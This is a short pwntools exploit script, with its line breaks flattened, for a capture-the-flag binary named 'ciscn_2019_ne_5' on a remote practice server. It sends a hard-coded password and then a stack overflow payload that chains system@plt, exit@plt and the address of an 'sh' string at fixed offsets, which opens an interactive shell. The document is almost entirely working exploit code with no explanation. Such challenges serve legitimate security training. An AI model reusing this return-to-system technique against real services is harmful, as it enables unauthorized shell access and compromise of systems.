FILE = "./ciscn_2019_ne_5"HOST, PORT = "node5.buuoj.cn", 27219
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
target.sendlineafter(b"password:", b"administrator")
payload = fit( { 0x4C: elf.plt["system"], 0x50: elf.plt["exit"], 0x54: next(elf.search(b"sh")), } ) # raw_input("DEBUG") target.sendlineafter(b"Exit", str(1).encode()) target.sendlineafter(b"info:", payload) target.sendlineafter(b"Exit", str(4).encode())
target.interactive()
if __name__ == "__main__": main()